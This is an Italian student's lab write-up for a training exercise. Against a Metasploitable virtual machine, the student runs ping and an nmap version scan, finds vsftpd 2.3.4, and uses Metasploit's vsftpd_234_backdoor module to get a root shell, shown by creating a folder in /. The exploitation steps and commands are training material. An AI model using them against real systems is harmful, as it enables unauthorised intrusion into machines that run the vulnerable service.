S7L1

Esercizio: Hacking con Metasploit

Nella lezione pratica di oggi, ci concentreremo su come condurre una sessione di hacking utilizzando Metasploit su una macchina virtuale Metasploitable.

Traccia dell'Esercizio

Seguendo l'esercizio trattato nella lezione di oggi, vi sarà richiesto di completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable, come discusso nella lezione teorica.

Dettagli dell'Attività

Configurazione dell'Indirizzo IP L'unica differenza rispetto all'esercizio svolto in classe sarà l'indirizzo IP della vostra macchina Metasploitable. Configurate l'indirizzo come segue:

192.168.1.149/24

- Svolgimento dell'Attacco Utilizzando Metasploit, eseguite una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.
- Creazione di una Cartella Una volta ottenuta l'accesso alla macchina Metasploitable, navigate fino alla directory di root (/) e create una cartella chiamata test_metasploit utilizzando il comando mkdir. mkdir /test_metasploit

Per il corretto svolgimento dell'esercizio mi sono assicurato della comunicazione con la macchina vittima tramite un ping seguito dall'indirizzo IP corrispondente. Il ping mostra che la comunicazione funziona quindi ho avviato una scansione tramite nmap con il comando -sV seguito dall'IP della macchina vittima, nel nostro caso la metasploit.

-sV è un comando di nmap che serve ad identificare il servizio e la versione

```
-(kali⊛kali)-[~]
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=0.136 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.146 ms
^z
zsh: suspended ping 192.168.50.101
  —(kali⊛kali)-[~]
_$ nmap -sV 192.168.50.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 08:34 EDT
Nmap scan report for 192.168.50.101
Host is up (0.000094s latency).
Not shown: 977 closed tcp ports (reset)
         STATE SERVICE
PORT
                             VERSION
21/tcp
                             vsftpd 2.3.4
         open
                ftp
```

Tramite questa scansione otteniamo le informazioni sul servizio ftp, che è aperto e ha la versione vsftpd 2.3.4.

Ottenute queste informazioni riguardo la macchina vittima avvio msfconsole, un tool che permette di interagire con il framework Metasploit automatizzando e velocizzando attività come scansione vulnerabilità, creazione ed esecuzione di exploit e gestione di payload.

```
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>
Unable to handle kernel NULL pointer dereference at virtual address 0×d34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
Stack: 909090909090909090909090
      9090909099090909990909090
      90909090.90909090.90909090
      90909090.90909090.90909090
      90909090.90909090.09090900
      90909090.90909090.09090900
      cccccccccccccccccccc
      ccccccccccccccccccc
      cccccccc.....
      cccccccccccccccccccc
      ccccccccccccccccccc
      .....cccccccc
      cccccccccccccccccccc
     cccccccccccccccccccc
      fffffff......
ffffffff....
      ffffffff.....
      ffffffff.....
      ffffffff.....
```

A questo punto facciamo una ricerca all'interno del tool utilizzando il comando **search** con parola chiave "**vsftpd**" per verificare se esiste un modulo che sfrutta esattamente quella versione e trovo **exploit/unix/ftp/vsftpd_234_backdoor.**

```
# Name Disclosure Date Rank Check Description

of exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > 

# Name Disclosure Date Rank Check Description

vSFTPD v2.3.4 Backdoor Command Execution

vSFTPD v2.3.4 Backdoor Command Execution
```

Scelgo di utilizzare l'exploit trovato utilizzando il comando **use** seguito dal nome del exploit **exploit/unix/ftp/vsftpd_234_backdoor**, preparo il modulo inserendo i parametri del nostro scenario, quindi IP della macchina vittima tramite set RHOSTS 192.168.50.101, set RPORT 21 che indica la porta e avvio con il comando **run**. Una volta lanciato l'expoit il tool ci avvisa che ha trovato la shell e che ha avviato la sessione.

Tramite il comando "cd/" Siamo entrati nella directory di root, non ci resta altro che creare la cartella richiesta dall'esercizio tramite il comando mkdir /test_metasploit e verificare la cartella compare nella directory, come mostrato nell'immagine qui sotto.

```
mkdir /test_metasploit
ls -la
total 105
drwxr-xr-x 22 root root 4096 Aug 25 08:51
drwxr-xr-x 22 root root
                         4096 Aug 25 08:51
drwxr-xr-x
            2 root root
                         4096 May
                                  13
                                      2012
                                           bin
drwxr-xr-x
            4 root root
                         1024 May 13
                                      2012 boot
           1 root root
                          11 Apr 28 2010 cdrom → media/cdrom
lrwxrwxrwx
drwxr-xr-x 14 root root 13540 Aug 25 08:14 dev
drwxr-xr-x 94 root root 4096 Aug 25 08:14 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root
drwxr-xr-x 13 root root
                          32 Apr 28 2010 initrd.img → boot/initrd.img-2.6.24-16-server
                         4096 May 13
                                      2012 lib
            2 root root 16384 Mar
                                  16
                                      2010
                                           lost+found
drwxr-xr-x 4 root root
                        4096 Mar 16
                                      2010 media
drwxr-xr-x 3 root root 4096 Apr 28
                                     2010 mnt
-rw-
           1 root root 17357 Aug 25 08:15 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 110 root root
                          0 Aug 25 08:14 proc
drwxr-xr-x 13 root root 4096 Aug 25 08:15 root
drwxr-xr-x 2 root root 4096 May 13
                                      2012 sbin
drwxr-xr-x
            2 root root
                        4096 Mar
                                  16
                                      2010 srv
drwxr-xr-x 12 root root
                            0 Aug 25 08:14 sys
            2 root root 4096 Aug 25 08:51 test_metasploit
drwx-
            4 root root 4096 Aug 25 08:15 tmp
drwxrwxrwt
drwxr-xr-x 12 root root 4096 Apr 28
                                     2010 usr
drwxr-xr-x 14 root root 4096 Mar 17
                                      2010 var
                           29 Apr 28 2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
lrwxrwxrwx 1 root root
```

Tramite questo esercizio possiamo notare come, partendo dalla semplice verifica di connettività con la macchina Metasploitable2, sia stato possibile identificare un servizio FTP vulnerabile (vsftpd 2.3.4) grazie a una scansione con nmap. Utilizzando Metasploit ho quindi eseguito con successo l'exploit dedicato, ottenendo una shell remota sul sistema bersaglio. A conferma del controllo acquisito, ho creato una cartella all'interno del root del filesystem, mostrando così la possibilità di eseguire comandi arbitrari con privilegi elevati.

Questo percorso evidenzia l'importanza delle fasi di ricognizione, identificazione della versione del servizio e successivo sfruttamento, mostrando come una vulnerabilità non mitigata possa consentire in pochi passaggi l'accesso completo a un sistema.